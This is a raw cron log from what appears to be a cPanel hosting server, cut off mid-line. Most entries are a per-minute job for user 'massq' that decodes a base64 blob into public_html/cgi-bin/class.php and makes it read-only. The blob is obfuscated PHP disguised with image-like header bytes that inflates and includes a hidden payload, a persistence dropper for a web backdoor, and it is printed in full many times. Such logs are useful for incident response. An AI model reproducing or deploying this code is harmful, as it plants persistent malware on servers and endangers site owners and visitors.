Apr  8 20:37:01 server CROND[4538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:38:01 server CROND[4596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:39:01 server CROND[4653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:39:01 server CROND[4654]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 20:40:01 server CROND[4720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 20:40:01 server CROND[4723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:40:01 server CROND[4724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:40:01 server CROND[4726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:41:01 server CROND[4831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:42:01 server CROND[4978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 20:42:01 server CROND[4979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:43:01 server CROND[5034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:44:01 server CROND[5094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:45:01 server CROND[5174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:45:01 server CROND[5175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:45:01 server CROND[5176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:46:01 server CROND[5293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:47:01 server CROND[5469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:48:01 server CROND[5561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:49:01 server CROND[5628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:50:01 server CROND[5694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 20:50:01 server CROND[5696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:50:01 server CROND[5697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0u